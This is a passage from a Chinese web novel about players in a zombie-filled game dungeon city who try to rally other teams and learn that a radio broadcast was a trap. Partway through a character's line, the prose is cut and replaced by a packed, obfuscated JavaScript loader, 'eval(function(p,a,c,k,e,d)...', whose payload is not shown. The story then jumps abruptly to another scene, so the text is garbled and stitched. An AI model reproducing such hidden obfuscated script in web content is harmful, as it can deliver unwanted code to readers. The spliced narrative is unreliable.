副本里的江显还浑然不知不久前的一个猜测又把自己推向话题漩涡中央了。 她仍在思索广播的事情。 沉默片刻后她终于道：“我想，这一切真相都只有等我们亲眼目睹之后才能有所定论了。” “你是说我们要冒险去图书馆一探究竟？”陆寰问。 江显点头。 “这听起来有些冒险。”克莱茵评价道，“在不确定广播是否是个陷阱之前，慷慨赴会不像是个好主意。“ “或许……我们可以先尝试和更多的玩家碰面。”江显思索道，“我们试图说服他们——如果顺利的话我们可以等集结了足够多的同伴后一起前去探查。” “如果不顺利呢？”陆寰看向她。 “如果不顺利——”江显叹了口气，“那我们就依旧只能孤独地上刀山下火海了。” 52. 末日迷宫16 在地图上要想识别出其他玩家的大概位置并不是难事，只要瞄准那些正在解锁的区域就行了。毕竟那里就算不是其他玩家的所在之处，也会是他们的目的地。 "现在还有个小问题，既然地图很可能和实际不符，那么我们又怎么按照地图去找其他玩家呢?”陆寰看着界面突然问道。 "很简单。答案就是我们不记地名，看坐标。”江显说，“就比如说这一小片刚刚解锁的，【住宅与生活服务中心】的区域，从地图上来看它是一个小公园。如果地图错误，那么它在现实里所对应的坐标就很可能不是一个公园，可能是学校，可能是居民楼…也可能是别的。这样如果我们按照名称找‘公园''就肯定找不到它。" “但不管"名称"如何变化,它在整张地图上的绝对方位坐标都不会变。你们看这个这个''公园'',它从坐标上来看就在我们的正西面。这意味着如果我们一直朝西面走，就必然能到达那个坐标点。 “而如果其他玩家也意识到这一点，我们就能靠着坐标完成会合。" 这个提议得到了大家的一致认可。 又休息片刻之后，所有人收拾了装备重新出发。 陆寰手上拿着个刚刚从装备店里找的指南针，哭笑不得:"我实在没想到在这样一座城市里还会用到指南针。" “真是让人充满了大航海时代对世界一无所知的迷茫。”江显接话。 "现在就算告诉我副本是个球，我也不会觉得惊讶。”陆寰非常恰当地接了个梗。“ "那样我们就又得思考一下自己为什么自己走着走着不会掉下去了。"江显说道。 俩人的插科打诨让原本低落的气氛活跃了不少。于是队伍就在这种还算轻松的氛围里再度启程。 推开商场大门重新来到室外，熟悉的机器运作声又笼罩在他们耳边：汽车依旧在鸣笛、交通信号灯依旧在不停倒数、大屏幕上的广告依旧在播放……… 天色早就亮全了，现在已近正午。江显仰起头，觉得天空蓝得像是块无瑕的玻璃，与昨晚那种灰黑的色彩大相径庭，连带着人心情也舒畅了几分。 但她却有一种奇怪的感觉，仿佛无论是澄澈的蓝天还是雾蒙蒙的灰天，都只是遮掩这座迷宫的罩子，本质上都没有任何区别。 副本的破局关键究竟是什么？空无一人的城市、满大街的智能设备、游荡的丧尸、错乱的地图、迷雾重重的广播………其中的关键又到底是什么？ 江显看着一辆从她眼前飞驰而过、路线笔直像是沿尺子画的小车，心里突然生出一个荒诞而可怕的猜测： 如果……她是说如果，这座城市在玩家到来之前从来都不是空无一人呢？ 但她旋即摇摇头，眼下证据还不足以支撑这些猜测，贸然和同伴分享只会起反作用。或许要等到去图书馆后才能彻底验证这些。 这愈发坚定了她要尝试壮大玩家力量一起探索图书馆的想法。 整个小队在街上飞快的穿梭着。 两个小时后，他们离开了已经清理干净的【商业与文化中心】大区，重新奔跑在了丧尸和机器游荡的混乱街道。 “从坐标上来看，我们现在已经在‘公园’了。”江显看着街道两旁一片密集的商铺说道。 嘈杂的车辆行驶声和丧尸低吼的声响混合成一种诡异的噪音。江显第一时间思索到底是什么让这里和正常街道迥异，立刻意识到是因为正常大街上往往是建立在人声鼎沸的背景音之上。 而这里，这又机械冰冷而规律的“隆隆"声。 几人边聊边找了一处楼梯往高处走，以便观察四周情况。 "你为什么会选这一队玩家进行会合?“克莱茵好奇。 "因为目测他们解锁用的碎片数目很多，不是战斗力出众就是人数上占优势?“江显回答。 克莱茵了然地点点头，倒是很认可江显的选择。 人多点进行探索，总没错。 毕竟广播里发出的声音已经彻底动摇了他们的认知，他们每个人现在都如同蒙眼站在悬崖边，不知道朝哪个方向踏出的一步下方是万丈深渊。 在干掉了楼梯上叫嚣着扑来的几只丧尸后，四人势如破竹占领了楼房的天台。这附近的商铺高度都在五层以下，这个位置可以把附近一圈的情况都一览无余。 陆寰端着望远镜朝四周望着，很快便眼尖地发现了两条街外移动的人影。那里正升起黑色的烟雾，爆炸声和枪击声从道路嘈杂的背景音里脱颖而出。 "那里!那队玩家有十几人!他们正被大波丧尸追杀着，看起来很快就要撑不住了!” 那是一队看起来疲惫不堪狼狈至极的玩家，有数人手脚上都缠着绷带，显然负伤不轻。此刻他们正踉踉跄跄在红灯前停下的密集车辆夹缝间穿梭，全靠车辆才不至于直接和丧尸打照面。 而现下红灯倒计时正在归零，那些车辆发动机隆隆作响，跃跃欲试就要启动。 一旦车辆陆续开走，那些玩家和丧尸间最后一道屏障也将消失。 下一刻，江显就听身旁连续几声子弹出膛的巨响。紧接着所有人便肉眼可见那个方向爆发出一道高窜的火光。 爆炸声里数辆智能小车“人仰马翻”地滚了一地，像是被上下颠倒的乌龟一样动弹不得，整个街区的车子都拖着刺耳的尾音此起彼伏发出警报。 江显错愕地看过去。 "我只是帮他们一把，瞄准了一辆小车的油箱罢了。"奥菲莉亚说。这么大阵势的始作俑者平静得像是做了一件微不足道的事情，"这样或许能帮他们挡一下后面的追兵。同时也能吸引他们来和我们会合。" "你是说，你亲手射杀了一辆智能小车?"江显略微皱眉，用一种古怪的语气说道。 "有什么不妥吗?"奥菲莉亚一愣。刚刚那句话让她瞬间有一种不祥的预感。 然后她顺手接过陆寰手里的望远镜朝那个方向看去,只见燃烧的火光里那辆小车的灯光仍在锲而不舍地闪烁着，似乎是某种求救信号。 但是周围所有过路车辆都对它退避三舍。现在红灯结束，它们视而不见地改道匆匆跑开了，似乎是服从着某种程序的指令。与此同时，获救的玩家们在短暂的呆愣后也飞快地朝着和它相反的远方逃亡。 小车在道路上烧得彻底，火光逐渐压过了灯光，直到最后只剩下一个熏黑的框架。 不多时，他们便看到那队获救的玩家来到了下方所在的街道，抬头望来时无一不灰头土脸，眼里似乎只有深深的戒备。 "我们没有恶意!我们也是刚刚来到这片区域的玩家，或许我们可以联手!"陆寰挥着手朝下方大喊道。拥有相应技能的他无疑是最适合充当这种“友谊大使"角色的。 此刻，他仍然是一脸标志性的无辜笑容，充满了亲和力，任谁看了都会下意识放下警惕。 然而这一次，下方的玩家们沉默片刻，出乎预料果决地朝他喊道:“不,我们不会再相信任何玩家的话了。 陆寰脸上的笑容僵住了，显然没有料到这般结果。 “刚刚我的队友还出手帮了你们。这足以证明我们的态度。"陆寰努力试图说服他们，“我们并不是会抛弃同伴拿同伴当枪之人,本身的力量又并不弱小。或许你们应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“前面俩拨人在两个街区外甚至还直接打起来了。”奥菲莉亚实时报告望远镜所见。 四人显然都无意趟这浑水，趁着混乱还没波及到自己时默默离开，转换了阵地。 他们又进行了数次尝试，终于有一次当陆寰说明来意后，那一队玩家没有视若无睹地走开或是作出什么过激行为。 “我们想要联合更多的玩家一起探索危险区域。”陆寰真诚地道。 “你们要去哪儿？”短暂的沉默后，那几个玩家问。 “图书馆。我们要去图书馆寻找关于城市的线索。” “你的意思是，你们相信广播里所说的那些鬼话，现在要听从它的建议去图书馆？”那几人像看傻子一样不可置信地看着他。 陆寰点了点头。 “别开玩笑了！广播压根不可信！你们还没意识到吗？！从广播里请求我们帮忙解锁地图那一刻开始，它就是在进行一场彻头彻尾的误导！” 江显豁然开朗。 对面小队那人继续说道：“我们当时正好就在广播电台附近，不仅试图为广播求救者解锁地图，还和其他几支小队联手，仗着人多势众试图闯入广播电台大厦和他们汇合。” “你猜怎么着？当我们费尽千辛万苦破门而入时，地上只有几具已经冰冷的玩家尸体，已经死了好些时候了。而播报的求救声却并没有停止，但那个时候我们却只看到空无一人———准确来说是没有活人的播报大厅！” “根本没有人在播报！根本没有人在求救！只有蜂拥而至的丧尸！” “这从一开始就是一场骗局！是副本为了屠戮我们设计的骗局！”